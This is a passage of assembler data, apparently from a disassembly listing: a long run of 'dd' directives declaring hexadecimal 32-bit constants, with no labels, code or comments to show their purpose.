dd 3910D0A6h, 974FB1D4h, 0C1FEFCF1h, 0BA69FBCBh, 0F9D37CA5h
dd 2F296EC9h, 0DEBDB196h, 0E31BA2F8h, 959DF5E4h, 0E3625517h
dd 7BA1CAF8h, 0D2ADC188h, 787354B3h, 13175646h, 0F4F286C9h
dd 0FA46C534h, 1DA4655Fh, 342DC1EAh, 0C5923C22h, 20DEE029h
dd 618CF751h, 6770330h, 0C2F50BE1h, 4A4ADE9Fh, 8E57E279h
dd 64964AB7h, 0E5FED786h, 39425C14h, 8445E319h, 0BBBEE301h
dd 5FF619FEh, 0C0C1900h, 0E163061Eh, 0AF1B42BEh, 0BED0812Bh
dd 4A5E9759h, 46502353h, 0B96F400Fh, 5B71FBC0h, 3DAF13Ah
dd 42FC37BEh, 89A58271h, 6F6EC82Ah, 0FDBA8782h, 0EC1857C6h
dd 240F3F8Bh, 0C79E211Ch, 97A6DC4h, 4101C6Eh, 594818ABh
dd 0CC3338A7h, 166EC97Ch, 1E6C3333h, 0A4D4925Fh, 5ECDFA70h
dd 2E58470Eh, 0A36A6755h, 0C40B9140h, 9A31CBB8h, 9BBCCA21h
dd 0B3B7BC14h, 0EB6A3708h, 4504069Fh, 41B406D4h, 9B835E3Eh
dd 656215B7h, 0CF44CE46h, 0B313D95Eh, 17A17578h, 0C2750D4Ch
dd 0B2EC01F6h, 0E2B484BFh, 9C47E0AFh, 12A68B1Fh, 8870D4C1h
dd 4B4D3F43h, 1FBE33E8h, 0F0AC27D7h, 93D84972h, 4C0AD827h
dd 94AB83BCh, 0A1CFBB6Ah, 0D341EE1Ah, 939A9F6Ah, 0BE028418h
dd 0DE07AFD0h, 0A533985Ah, 7BE06AEh, 0FC660530h, 1FAAF2E4h
dd 2DFDFADCh, 0C05D1A24h, 9569DB29h, 0B885FA30h, 63755BAFh
dd 0E632241Bh, 1686FE34h, 9074CC57h, 0F16106F4h, 760B661h
dd 62379A73h, 0E9FED541h, 0AA13B96Dh, 0B6EF436Eh, 1A238554h
dd 747FBE0h, 15244A8Fh, 2CA4DDC9h, 0C84455D1h, 519C043Eh
dd 4BDC8FA4h, 77574A37h, 24606274h, 39369B41h, 0C6653142h
dd 97292E3h, 2D6AE10Dh, 8FE89984h, 0CAED307Ah, 3D014803h
dd 0DA7D753Dh, 3FE43642h, 81C2B269h, 0A55F681Bh, 0AF07DDF8h
dd 281F4CEh, 0CFF8A093h, 0DFF81428h, 0AD9DA934h, 0DCC4E33Ah
dd 0F3DFD847h, 2E798430h, 0EA4DD962h, 0EE82489h, 51A1464Eh
dd 7EF24552h, 0F315361h, 363D5ACBh, 8F9A498Ch, 3C57AAC8h
dd 6AF03090h, 5A1BE128h, 0C8583ED8h, 5264BEF0h, 7A0D36F1h
dd 65351B2Ch, 34BD56E4h, 41238905h, 0FA6B8C51h, 98AEAF98h
dd 0B08EB56h, 924040C0h, 0F01A990h, 5E8C6394h, 0ADBABFD8h
dd 0ABBDD22Ch, 18B729FFh, 76F20AC2h, 177287E7h, 92C6329Ah
dd 1B5CDA0Ah, 2180EA12h, 0EEE4B33Ch, 4B2A5B7Dh, 5A82F897h
dd 0F88233ABh, 4559694Eh, 0CA408DE9h, 0A4A60387h, 0AB7CE715h
dd 15CED95Dh, 10425B62h, 7FE45146h, 5B7B6C5h, 17A20286h
dd 38898579h, 93FDB340h, 9F40BB91h, 3213329Dh, 0E36FAF63h
dd 1719CEA3h, 2A0B1FC7h, 85B1CB93h, 9C5729E3h, 32762778h
dd 0C6CA3D60h, 3055F211h, 17ECA572h, 4F71004Fh, 0C91A697Dh
dd 6360F18h, 580A1D63h, 0CC6029Ah, 0E4DDB512h, 0A47E4CD3h
dd 0EB075CE0h, 0A38E2A57h, 0C1D30173h, 5A62EBECh, 0C6417E07h
dd 0C8C2823Ch, 0AD969B6Bh, 0BAA8E446h, 48B14BACh, 0B6FAB37h
dd 0EFA59DBEh, 2D52D413h, 0C7F410D0h, 2530F304h, 282B1BF1h
dd 3F0CD12Ah, 0E8D460D7h, 917AFA78h, 953C7CA2h, 5628D3FBh
dd 7C687D47h, 0CC487EF1h, 0CA227C51h, 0A47E45B2h, 352F82E0h
dd 93D1BD74h, 7EF52DB8h, 0EB16674Bh, 0FB0E4388h, 73940FFDh
dd 0A37557ADh, 2A8C0619h, 59A418AAh, 0DE53D4A9h, 0EEDCD0DEh
dd 41424ABh, 8D04B185h, 2E26B073h, 1D8DB258h, 0C20B4594h
dd 0C8EDD71Dh, 5F3FC429h, 0CDCBEC92h, 632741Dh, 94DAE66Bh
dd 56E1DA58h, 0A2104653h, 8124C6CFh, 99ADFC4Ah, 0EE5BE283h
dd 6559E2E4h, 7423BF07h, 2A36E2ADh, 0BF00C179h, 0CB396E3Eh
dd 6359183Bh, 9FFBE472h, 7804CE43h, 9E318056h, 26D6327Eh
dd 0D80D2CF6h, 8A61ED80h, 0FDC8D6CDh, 5E4B59A3h, 7A11778Ah
dd 0AE8744A3h, 251DEA27h, 83CCB000h, 2E6A6EA8h, 0BA98384Bh
dd 0C092AF16h, 91600683h, 0EC1B6D9h, 49902DC7h, 92D51832h
dd 0A347BAEh, 0ED1D147h, 7E86871Dh, 788C294Fh, 89699709h
dd 857A7A7Ah, 93CCBF05h, 0FA34C5AEh, 0B720AB3Bh, 0D0A8598Fh
dd 0CE0F1714h, 0A2632411h, 6C33A301h, 27FDDC42h, 4EDBECD2h
dd 99B0D762h, 0FF77B194h, 3B04E09Ah, 0FE0CA011h, 48FE8FF0h
dd 8AD6D40h, 0A69FC9FEh, 74095A09h, 3DFD35EBh, 482AE4E3h
dd 0CA6B1379h, 0D5F1077h, 0C05DBA7Bh, 0FB9DCC95h, 0C7C5BF4Ch
dd 0EA3948E6h, 779FC471h, 8B22B003h, 0AF52F9B5h, 0ADD95C1Fh
dd 7381361Bh, 65C5FA0h, 5FED981Eh, 0B61681F4h, 2A138958h
dd 1F699FDCh, 6C346C44h, 1F954C33h, 0BBA588C1h, 878FD82Fh
dd 0DD0387A6h, 483260D6h, 0AF25615h, 3EF69CE7h, 0B7C0C2B2h
dd 3CA590CDh, 0EA5A0DEFh, 9190CCC0h, 11D84299h, 0EAB99F7Ch
dd 0C017F108h, 0DEEBE7B6h, 9FD0C6D8h, 3B38F77h, 9E36AC08h
dd 0D62D5D50h, 0DDE75243h, 0D516BC0Ch, 8653B475h, 6981A497h
dd 96861E61h, 9CE278C5h, 1439BC38h, 174C16B4h, 915A204h
dd 0F82889D8h, 920B5A5Bh, 8AC28508h, 0FBD078E4h, 885B557Ah
dd 0D0C14A34h, 0E8F769DEh, 9FA3EF48h, 19FE4829h, 0B8588EB0h
dd 0D4D5D9A8h, 9394D5h, 0B3580789h, 0A77EC8EAh, 43E86CEBh
dd 753B1A1Ch, 4012B622h, 197A05E5h, 118494BCh, 8233F598h
dd 8077AED7h, 5A6D60ECh, 959D4FEFh, 0CE1C4941h, 0C0CE165Ah
dd 370810FCh, 1E0744B8h, 8C6246FBh, 93EEBC6Eh, 56B35685h
dd 4807B754h, 0E70F81AFh, 349A0FF8h, 44EC189h, 0F9870EBBh
dd 438946A6h, 0F98AC81Ch, 0E1822F22h, 9AF5A6C9h, 254ABCEBh
dd 34BF6A4Fh, 249D004Bh, 43056534h, 971595CEh, 91F0C7E2h
dd 7D41B6FFh, 17BF6451h, 0D492A444h, 0C493E888h, 18357A4h
dd 7462072Bh, 0F0FE540h, 0D3690C48h, 0C634BCCCh, 0CBAA9F94h
dd 0F6DB033Fh, 0C074CDEFh, 16582C1Dh, 0D5F84D96h, 1CDF7959h
dd 30ABCE55h, 6D0F9389h, 0F4990EEFh, 0C3D54EC4h, 0A1159580h
dd 0C7A49E40h, 0E8A45260h, 2863771h, 79D176C7h, 2CB48FB1h
dd 1C11C041h, 86DA2944h, 0D7C8F11h, 0B28B89DAh, 2C7F2AC4h
dd 0E4CB9B63h, 90D50161h, 314A45F3h, 22DFACD2h, 0F38A0126h
dd 0F6DE9916h, 54020FD7h, 5C6165D8h, 0E26EC12Ch, 53BD6C26h
dd 49FA0534h, 0B9BB80D2h, 3E77CEAEh, 584C8C51h, 391CD90Fh
dd 1D975DCCh, 1209BA55h, 40A664CDh, 8A251BDEh, 14AA174Ch
dd 351E0AB5h, 0A3B03A71h, 2AB3C14Eh, 0EE94632Ch, 4A7EA4D7h
dd 0A48A4F7Ch, 558FCC83h, 0D40C15A8h, 0E5DAAA5Ch, 0D9380435h
dd 0D84B5BE6h, 61ED116Fh, 4C54CBDFh, 0C775A5FAh, 248C0D68h
dd 32708908h, 0E58B287h, 4C142BDCh, 2EB1FABh, 7604F380h
dd 0F6208B2Eh, 799964E7h, 0AA2A8B83h, 10E5AA15h, 9EDDDEF4h
dd 0CFA2CE9Eh, 4D1581C9h, 0F77A509Bh, 0F1730BB4h, 9949533Dh
dd 0BF8D424Fh, 893B82EDh, 4AAD34B2h, 555D9B57h, 82B2115Ah
dd 0B315375Ah, 8B0CD191h, 2A4EE66Dh, 51D2EB3Ch, 0DA39AAABh
dd 0D06EDCF4h, 0A5302FEEh, 987B52BBh, 52713434h, 0CFE4F653h
dd 8C6F7663h, 0D90BE9B6h
dd 93D784B8h, 2736C912h, 0DE1BEB92h, 984CE339h, 1D6904EAh
dd 334E8BF7h, 971B435Fh, 1F4DD7D5h, 66DE43C0h, 439B4AECh
dd 4383405Fh, 6189D033h, 0D6BAF54Bh, 174E4C4Eh, 2777A09Fh
dd 1BFE7E4h, 5F1A23D9h, 1808FA6Ch, 0AAC66984h, 6EFC7286h
dd 0CE0EF6C0h, 0E7066230h, 0E6713AF1h, 0E0201117h, 5E11E218h
dd 0C8874670h, 94249B00h, 0C843FBC4h, 0AF58AB2Dh, 920EA72Bh
dd 0F584EE8h, 0E54D83B5h, 5B4F5834h, 0F127BA27h, 8FBDAE1Dh
dd 0A50F4BAFh, 24E29C9Ch, 0DC4BB9D0h, 594820D8h, 144C6E97h
dd 5E399BD5h, 3C6203E6h, 0DD4D8400h, 7300FF19h, 0E5852AFFh
dd 1A9C1D7h, 8D4FE2DEh, 0B6A8FDE1h, 49F33669h, 0C04E58A3h
dd 4B26AD1Ah, 1D48B7FAh, 74EF363Ch, 5B7FB4C8h, 0CC1D86AAh
dd 8440BFCDh, 0E5473847h, 0EBBB0712h, 0B4303901h, 70C42548h
dd 2D9D8955h, 65B63FE8h, 11B5B425h, 0D1EB29CFh, 1F94022Bh
dd 0E048044h, 0D335C91h, 89C917FBh, 0AADCCB98h, 0EDF3E26Dh
dd 0F42585E7h, 0B1EC823Bh, 0DD149C76h, 3EA8B8ADh, 3A35CA42h
dd 0FF68A5CEh, 0DB8834A9h, 90E9A007h, 265BD22h, 0BE94610Fh
dd 0FED32509h, 0AC7D16CAh, 4351F26h, 0C912287Bh, 0DC994506h
dd 1CD0C97h, 0C3864FBFh, 4060EDFAh, 1DE96E15h, 0BD833C4Dh
dd 2BD14BBBh, 78B03937h, 670E13D0h, 1803E30Eh, 5CAE7DB8h
dd 70D41E4h, 0FD4652D0h, 0EF13A08h, 19753444h, 0A89B09D0h
dd 0B4A5353Dh, 0EA567944h, 80C16A74h, 87B81276h, 0BA35E126h
dd 0E51F37E2h, 0F608B562h, 0A7864156h, 0EB1C17CBh, 11A5A79Bh
dd 6DD4234h, 1EB2FA65h, 0CE5590F0h, 0D28DA047h, 2F2E3C84h
dd 90F660CBh, 366489A5h, 0F31D2F8Ah, 7D834F30h, 7A1036E7h
dd 969F1E32h, 0C898FCCDh, 0CA0421A8h, 0AA5BE6E0h, 0C23A2FC4h
dd 4F53D136h, 75605D65h, 0C16D7B43h, 0A592F0B0h, 0ACD891E5h
dd 57CF5ABDh, 1E916C7Eh, 0E92DF30h, 0DD10EE01h, 4CA1FAA8h
dd 0F0AAB72Ah, 4AF95F25h, 92F48046h, 0EC0C078Ah, 58D099D8h
dd 0B52E5696h, 0C2D71B9Bh, 0BDCDF298h, 0D6DF7E9Ah, 0E9DF8382h
dd 0D472833Ch, 2BA8F144h, 0F90584E3h, 271DE67h, 9D3E6287h
dd 0AD14A96Ah, 0A02E6ECAh, 57E2447Eh, 0A41C4E79h, 0B95FBB86h
dd 6B2C5ABBh, 0EB33468Bh, 887C2623h, 35124B39h, 183DC8F0h
dd 3AD00F43h, 64E74FD6h, 0AF2F5537h, 2A458432h, 430E3386h
dd 2C5CBE9Ch, 0B661CE4Dh, 0DE8D13D0h, 7D0E3FD5h, 90F4EA9Bh
dd 0A19A5D05h, 0F7CDF8F3h, 7466E92Dh, 302E3ABCh, 4B60B815h
dd 0F0CD5402h, 636FEE76h, 0E8754AF1h, 7F50593Ch, 0F6DB146Ch
dd 965B0E3Bh, 0EED2E45h, 0D4423D33h, 471F7673h, 0BEEF07E1h
dd 12D446A8h, 0ABA9D814h, 19A866C3h, 2383118h, 0A3B1B05Eh
dd 4FDABA9Ch, 7E568A45h, 0E14D94Ah, 0DFD530FEh, 0C13FFB1Bh
dd 327B71B4h, 0FD0D2276h, 311E3839h, 0E98E9F4Ch, 0B91D6559h
dd 0D3FB68B6h, 5F365B7Eh, 4D437CCEh, 1A5598D2h, 0FF6C7D99h
dd 4DBB04DFh, 92CE524h, 94A8964Ah, 53509052h, 937A9422h
dd 476289B9h, 0B4CC4551h, 0B97BBBE2h, 90CA4B50h, 981305CEh
dd 95605882h, 295C5573h, 0CE79B1A3h, 93E554D2h, 0DF03F78Dh
dd 9CF17CABh, 0A827AB8Bh, 97F5CC21h, 0EEB5606h, 7E2C598Fh
dd 381EE73h, 2C21F6E0h, 8C84423Bh, 0AC3F049Bh, 0BA825C0Ah
dd 2A9C8436h, 0F8F200Fh, 0BE18CCCCh, 3AF62C8Bh, 0B7B183B1h
dd 0E9765450h, 34428B54h, 0FF4A6736h, 0C99066B8h, 0F18AAB2Fh
dd 9A2B5C3Bh, 0B82D7561h, 0DCC362FDh, 4D38689Ch, 6694C6CFh
dd 0FE06F1C2h, 0E0989B94h, 6D105872h, 0FCB055FFh, 0BC108370h
dd 0A0C0FD4Fh, 0A27B805h, 8237FE9Ah, 0E90DD98Ah, 19DBCF38h
dd 3C31C311h, 7EC0A8D9h, 0BFFDA3C0h, 68BABF7Bh, 567278Fh
dd 3D91826Dh, 3D30D074h, 236F010Eh, 1D4E8796h, 0D627232Ch
dd 0C7B5EB64h, 84AF6E45h, 0CF41D43Dh, 68C6FA4Eh, 40B3417Bh
dd 0F082F59Eh, 53216FC4h, 34F684C4h, 9197CD1Dh, 91F3E55Dh
dd 0BC18864Dh, 6FA33E25h, 0C30CED55h, 38718FC5h, 684C2A0Fh
dd 9B15BECh, 920552E5h, 4A222018h, 0B5952451h, 66450147h
dd 942C5EF6h, 13F6E806h, 66A82D95h, 2F4B6BD4h, 393F0D9Fh
dd 2879924Ch, 6A22C314h, 1BC920C5h, 3DE4F07h, 174A205Bh
dd 6DCC91A9h, 0F7C1F86h, 96A44877h, 49D70DF8h, 8EA6801Bh
dd 0C811C4C0h, 0D72DB970h, 0E255B87Bh, 0BDB90592h, 8E4A781Ah
dd 3A77FC6h, 0E4182E0Bh, 0ADBE4774h, 970E5D20h, 0A3A259AAh
dd 0ADD36ECh, 4D94CE42h, 4E4FB489h, 0C723EB08h, 6FAA58DAh
dd 883A65B5h, 9F374576h, 0DBBB164h, 3FEC2EE7h, 7A4A0DF0h
dd 0A7DE77E8h, 821120C1h, 89816EC5h, 3F5F8757h, 538803F2h
dd 259C92A8h, 0F9C4AF3Dh, 0FD4DECF0h, 2606B90Bh, 0F018E5F3h
dd 363D11B5h, 6CF72FC8h, 1E55F308h, 0CA7C86CCh, 55DE8ADEh
dd 0D70A1060h, 0DF32F8B4h, 7F8B1870h, 0CC9CE98h, 9DE161C7h
dd 752FD44Ah, 0D9F3D8Fh, 0CC92742Eh, 0B429422Ah, 0DD81C7DDh
dd 5D9FA6D6h, 0AB9E1FCFh, 0DCFAE375h, 0BF6C1F9Bh, 0F0788824h
dd 50E710DAh, 0C02FC1FDh, 6BC05D55h, 7DC6C22Fh, 7C7FCE28h
dd 0DB3FE7DDh, 0B495DDE6h, 0F90EAA2Dh, 7ED54FACh, 0CBB0F5C1h
dd 68280339h, 0C934B305h, 2643C290h, 28A18A3Eh, 0C35754ACh
dd 81CAFB36h, 0B01B6442h, 0EC9D56B0h, 9C9D92Bh, 3D6268B0h
dd 33A45506h, 4D0D0E7Ch, 9271AE0h, 0EEEDD31Dh, 69F23BF6h
dd 0BADB959h, 19F71E0h, 9534Dh, 92AE1134h, 0E922D505h
dd 2F943745h, 42083A61h, 62AE340Ah, 56D1FF21h, 0E83FFF38h
dd 0C55063DCh, 746BFD8Dh, 0DA67A19Dh, 616FD62Ch, 22EDDC61h
dd 68C7E379h, 5021F68Dh, 24BC64A6h, 52657182h, 6B9A1F8Bh
dd 6BC4407Ah, 8A6ADBE4h, 0A1B5538Ch, 0DA94A616h, 3F683668h
dd 0BDA36CEh, 0B8031A47h, 5506724Ch, 0BC1047BDh, 6EDF8EE5h
dd 9980CD09h, 50E70E10h, 3A91EE01h, 0B05FE059h, 0EFF9404Bh
dd 0A41EA2A8h, 22F437D0h, 0D9639EDAh, 89B7BD05h, 17FF336Ch
dd 944D6E49h, 939FE65Fh, 92AB9F0Bh, 0DD4155D5h, 562E2173h
dd 58D240EDh, 5AB99F32h, 0AF8824EEh, 6E6F7676h, 7391B27Eh
dd 0AB616958h, 52982845h, 0DEB73AD8h, 5D7384DEh, 41927C74h
dd 76890607h, 410697C0h, 47B32328h, 207891FBh, 9C383B81h
dd 417B7A9Ch, 0DB6B8A6Bh, 6A6D68D6h, 0EC49B11Eh, 391F219Dh
dd 0B86F2E86h, 6ED7B99Eh, 7803A7B5h, 84CCB572h, 0B5107233h
dd 81E4593Ch, 0D4A3FDD2h, 722E046Ah, 5CD85262h, 932384A3h
dd 448B71C7h, 0A622F357h, 95C4E96Fh, 487A165Ch, 0F934990Ch
dd 0C657B702h, 69F99AE3h, 0BD6A682h, 4EFD81BEh, 244FD9EEh
dd 9CC4CE10h, 20B23019h, 58865DFCh, 161B40F0h, 7EDE4366h
dd 309843A3h, 87325DADh, 3F9FE29h, 0D6ABB1F0h, 2419110Bh
dd 99E6456Ch, 7E044B9h, 0E74DEB1Bh, 0F9DB555Bh, 4FAC85ABh
dd 31B25F12h, 6CD7B42Bh, 227C0D0Ah, 0A324532Ch, 60E57927h
dd 40179CB7h, 45550E11h, 0F6CB875Bh, 33232A1Bh, 0AC562CA2h
dd 14B7F5D2h, 0AC57A512h, 1DDE195Bh, 0AEF94532h, 5C59D1DDh
dd 3B5BA560h, 979488B1h, 7D651F84h, 85055183h, 0F1E94846h
dd 0BA9FA401h, 5A329D1Ch, 7897F8h, 0EE3E5C8Bh, 8181DF3h
dd 46E8EB0Ch, 0EEE1202Eh, 0B59AE700h, 0F72B1A82h, 3D99781Ah
dd 0F5C8EC90h, 1D0FC498h, 9A66B0C4h, 277AF07h, 0AFFFE85Dh
dd 0FDA2E9A9h, 0BE6602BDh
dd 0E093928Ah, 0FDA32394h, 2E6C908h, 0E7F5DF29h, 0A7EA9C54h
dd 0B1D61B36h, 1CD3A17Dh, 1AE88979h, 0EB3A9EC1h, 33D99209h
dd 0E0969002h, 0C44C2450h, 93AE3874h, 5CA6175Ah, 0DA0634B8h
dd 2CDE5071h, 0A915A19Eh, 73D7642h, 7B38150Bh, 4721688Eh
dd 628A7609h, 0F39D18Eh, 9D8BC57Ah, 40A52B22h, 0B8AFCEBEh
dd 19024550h, 9C0FC106h, 9263AB7Eh, 7408DE8Eh, 9DA216F3h
dd 776BB0ECh, 47407020h, 0CDB0F4F5h, 5990E0ECh, 0F2ABA8ABh
dd 8ADF9EFEh, 0EE6A359Dh, 95074D1Ah, 2B599A10h, 5D997D33h
dd 3F5F872h, 1D0EF352h, 0C2C05C9h, 8233B0CBh, 0CC9D7721h
dd 6DB8DA8Dh, 4DD1F1FEh, 0EDEBCCD7h, 40EEB8B1h, 647E3AB3h
dd 1952F7D8h, 0A1D8CAA3h, 0C0A756F6h, 7142953Ch, 0DBC8DB2Eh
dd 46131D58h, 0A1CFEBCEh, 0E408D3C7h, 98EF5BEEh, 0B5FF789Bh
dd 115F03D6h, 7CD3D20Ch, 0EE5C106Dh, 0DF1BFA83h, 0EFD10547h
dd 874385E7h, 4B8BDC47h, 8AFEADC4h, 44DCBE74h, 2743C52Ah
dd 0F60BF45h, 0D3E3943Eh, 0C52737h, 69235727h, 206067B8h
dd 44E29BACh, 4663F599h, 3C0BD406h, 4998EE80h, 0C7759A78h
dd 50D20802h, 7F7DD9C9h, 2C378109h, 0E73EDE22h, 0CEA935A7h
dd 0DBB9B0F6h, 0D0C7480Ah, 0CFF0BEE8h, 0C006312Dh, 7B0FB508h
dd 8DAAAC16h, 93530C67h, 0E842A0CEh, 0DDA4A3AAh, 751F176Dh
dd 5065F1D0h, 94AE204Dh, 0B4025689h, 0B47D8560h, 481D4A6Fh
dd 0DC2485F4h, 877BE156h, 0B8B84616h, 6CCE36F4h, 0CCA8FB4Ah
dd 2436F73Bh, 399FDC24h, 676D0ECh, 95E3E45Eh, 1EB08CBAh
dd 31A6EF4Ah, 0B7CBD76Fh, 910CC045h, 0A01E6B1h, 151EC035h
dd 26206E07h, 3CDDDB01h, 7D329200h, 0BF1460A7h, 15450C46h
dd 841E5B98h, 0C5A37009h, 3BA49793h, 0F54EFE8Bh, 0CD1EAE3h
dd 2FAB8971h, 0F4FCB902h, 9423715Ah, 94DE826Eh, 0C29386E7h
dd 35F712B6h, 0C8F37C79h, 9C670CCCh, 52DA5CAFh, 65D8B0D3h
dd 0AC8386A0h, 0A48D6E4Eh, 76A222B2h, 0A06FF700h, 2322D3D9h
dd 32516567h, 2728045Ah, 24F10A58h, 0CAF40E99h, 0DA98191Ch
dd 0B46EC375h, 25776E21h, 0A5F16203h, 0C8A21259h, 3A8F8A6Dh
dd 0BA7547D2h, 0E659AF59h, 0C22664A1h, 0C77C627h, 69000ADBh
dd 0C6E5BD56h, 40850613h, 0B360F69Fh, 4DF02A3Dh, 0F44BABDAh
dd 0C4F35D16h, 0B6D7A0FCh, 0B1BA14C3h, 0ACB0ADDFh, 7EBBC0A6h
dd 14DDFAB2h, 0D686F38Ch, 59F49E2Dh, 75E8663Fh, 394A9D1Ch
dd 0AEE57537h, 94A25FDFh, 0A943A8Dh, 0FDAA89F5h, 0D701DEF5h
dd 3D80069Bh, 11DCEA64h, 7C657172h, 0AC9F7783h, 0A08C2FBDh
dd 0B5BA7458h, 6C046EF3h, 0A1075E3Ch, 6A19F891h, 4CA4D075h
dd 0A351E257h, 9AA163E0h, 0D9898147h, 0F5E414D8h, 0CC025C4Fh
dd 0BE892F0Bh, 0B12C2F78h, 137BBC2Bh, 8D74EE87h, 6868ADBFh
dd 36927214h, 1EFE23F3h, 0EAFB9266h, 72BF8316h, 0AB8A37Ah
dd 0C6C03B08h, 25BA6D9Ah, 4AF3B116h, 267B5ACEh, 0B233D7Ah
dd 72F5DAB6h, 0DDA4268Ah, 0F36A2F82h, 44354F43h, 5A488298h
dd 2F6C22DBh, 6083C046h, 1E24AEFh, 0AFA00956h, 2B9F2B30h
dd 0F85D33B6h, 84FBFEF0h, 47A1034Ah, 22760C89h, 0CEC1F624h
dd 1BFED10h, 0A71E58EAh, 79B9679Eh, 0D81EA427h, 200B6CAFh
dd 0AA10BEB1h, 8C0F6880h, 0D3E971AFh, 6F3D88B0h, 8BD94A3Ah
dd 7C984D24h, 0DD724857h, 15AEDBBh, 648BE00Eh, 5488D084h
dd 67ADEB5Ah, 9AD42D88h, 0C4701CC5h, 0D4F691ABh, 0CC8B6876h
dd 252D5FCFh, 0B540AFF7h, 0CBAB90A6h, 339AD0B9h, 2F317C13h
dd 179A3092h, 738B523Bh, 0A16421FCh, 7126ECB9h, 6089E05Ch
dd 0D4462EF0h, 0BC6DC19Eh, 1498F9A7h, 30463FBCh, 13828F56h
dd 28B0C0Bh, 0AD2ED26Eh, 1BE7B73Dh, 0F7DE26D4h, 41E122C0h
dd 98FD7844h, 0EBC96D67h, 0F91FA975h, 0D156DD3Eh, 31CE1D2Fh
dd 507F8A4Ah, 0D75A8959h, 0FA495475h, 0E7FA2372h, 1E647142h
dd 20AFAC1Dh, 0E290E4CFh, 0BD5A476Fh, 461B55A4h, 9144A75Fh
dd 29053238h, 0D167C71Ch, 0D522D2C3h, 5DF4735Dh, 70EB30E1h
dd 3532E150h, 38F4A1C1h, 0A30F28C4h, 4EDDFD02h, 0B47D591Ch
dd 0EE6E17D3h, 2524746Dh, 6AFAD7AAh, 11374306h, 941754ACh
dd 280B441Ch, 53D948CEh, 0B79F99E6h, 2BBDC08Fh, 3A37A7ABh
dd 194733EFh, 0FF61FDE9h, 0BE74DD02h, 0B8D72878h, 3AF14985h
dd 4E1384E2h, 4B92B5F3h, 0BE90E48Ah, 1848935Dh, 7354B7Bh
dd 566377EFh, 5064B4Dh, 0C1885CB1h, 0FFDC3641h, 0E5A6EE30h
dd 5987DEEEh, 60647B45h, 2B5F8E15h, 10D90E2Ah, 698C6107h
dd 8A52AEE9h, 687FF612h, 4771A72h, 9C7B7825h, 0F6C87BD5h
dd 0BDF35655h, 4FD35A9Fh, 13CFD0AEh, 0C6C619B4h, 74EF5AEFh
dd 0B980D50Fh, 0A1DFFEACh, 3214B9E7h, 0A11344E1h, 9DFBB839h
dd 0CEAEE1F2h, 91E12670h, 0D19FD964h, 19A2BF83h, 43751CEDh
dd 0C5F346EEh, 0C2F8E340h, 0F48343ECh, 0BD433C8Eh, 0CFC960B2h
dd 7B7F9CF6h, 47A9EBF3h, 903D26E7h, 43048069h, 892B9FE9h
dd 0D3A51B23h, 398CAF0Bh, 3F9727EBh, 0C3D602C7h, 0A223D94Fh
dd 7BF69D22h, 22E891FCh, 17D85053h, 6E6510F9h, 0CA7EEF88h
dd 3E419A10h, 0F373175Fh, 0C5CC1293h, 0D582A39Eh, 7DA8B705h
dd 0A2283A73h, 0CDE31676h, 0B60DA441h, 4FF7D9E7h, 2DD75D11h
dd 0FF938A93h, 0E2CA3683h, 73650BFh, 9B735EBDh, 0CDDEE504h
dd 0FCA17B9Ch, 74372491h, 7F8B47EBh, 0D0FDF8E5h, 0D4F2099h
dd 322874B5h, 4D261D3Ch, 7051D0B0h, 77D5FADFh, 76CF0D7Ch
dd 0C448F65Bh, 0A23FA428h, 0FC51E0DEh, 8E190072h, 3404488Fh
dd 3268C751h, 0E836306Bh, 798C36CCh, 35429242h, 0F771142h
dd 2656245Bh, 62066C7Ch, 7442DC44h, 1F366759h, 672EDC4Fh
dd 99E6B54Ah, 0F048B814h, 7F3D97E9h, 0B05D83F5h, 0A4D7F4h
dd 3CD5834Fh, 0D039EEF6h, 688F2EBAh, 4A1F3A3Ah, 0D1622555h
dd 0F07D4997h, 3BB333F6h, 494E0522h, 0C05F49C2h, 4FCD8539h
dd 0B019C4EFh, 0DD41E478h, 0DE9893D0h, 0E35C912Ch, 903E6666h
dd 0D84C3E94h, 0BF014289h, 0BD37F578h, 7C63D4BCh, 0AD552BA6h
dd 322603BBh, 238BCB26h, 39264FE3h, 1622B28h, 7718D667h
dd 0EA78AFC2h, 0A7F71052h, 0E7DDE631h, 3B6FAD7Bh, 0EB35E910h
dd 0B737CC5Bh, 0EDF4AA61h, 0A0C3FE96h, 83E72015h, 0FC4705DAh
dd 5E2141EFh, 0E8000940h, 0E2A10C70h, 1CC7D791h, 0CF98001Fh
dd 0CCBD9E0Fh, 0B415A48Bh, 26A23EAFh, 0F019CA2Dh, 46AD4406h
dd 0F2CFDDE7h, 4B488A02h, 742F7570h, 79EF732Bh, 894562ACh
dd 33642E54h, 321BDBBBh, 9426C7A5h, 4D6555F2h, 0CC0D313Fh
dd 4790958Fh, 0DDB87749h, 7730DEh, 9B2F1CC3h, 0A917CEF0h
dd 0E87B674h, 359BAE9Bh, 4A679026h, 531DC89Dh, 0C2E57B49h
dd 24C045CFh, 0CDD20212h, 4EC370BBh, 96E8A427h, 7A128757h
dd 0FEDBAF03h, 4E85FDC7h, 9BF6A21h, 62A50767h, 0F14EDC4Eh
dd 53E1AFE7h, 765DEE2Ch, 0D579F10Fh, 0F092C9E8h, 72E37C78h
dd 0FF7B7782h, 15B3A608h, 0A223A4E1h, 2A73C774h, 0C90883Fh
dd 0BE11885Ah, 0BDB4FCB0h, 39D1FA48h, 548092FBh, 18019F7Ch
dd 0CA893ED8h, 4BB59DE6h, 0F87BDD23h, 2C634045h, 71CDBCDFh
dd 15A59A64h, 6F7E57CDh, 3ED47E0h, 5F3DAFCDh, 5BCB28C7h
dd 0E5971A40h, 0A712262Eh, 4E5EE991h, 0BB2EABADh, 0D3548503h
dd 4CDC976Ch, 0A19E6493h, 661F137Dh, 7F7DE35Ah, 99800D08h
dd 0AD36C802h, 0BB26F144h
dd 4814D3F9h, 24F5EE07h, 335D162Ah, 5B95B674h, 0D9DC1F69h
dd 42F8B08h, 197B7BE9h, 0AACDABEBh, 8124FAC4h, 0CD596EFEh
dd 1394E9E5h, 0A5E32356h, 0F67CD649h, 21DDD281h, 211B94A7h
dd 0EF0281B6h, 0B223FECh, 0D0EC38DAh, 0CEFCB5FFh, 0A781AE2Dh
dd 447D65C8h, 0C17AF39h, 334466F1h, 4C6C83D5h, 71DCA050h
dd 10C95341h, 111DF74h, 0F46A74B7h, 0B249C0A1h, 0C074A3D5h
dd 19C8B424h, 0A24B35BCh, 65F6ED0Ch, 84D15349h, 0C7C11484h
dd 79DFAB95h, 5EE0F496h, 2E447EA0h, 0EB3B0834h, 0A4B2CE8Ch
dd 0D17718DAh, 22F2363Fh, 0DE246F38h, 0E7F42F5Eh, 0ADD98268h
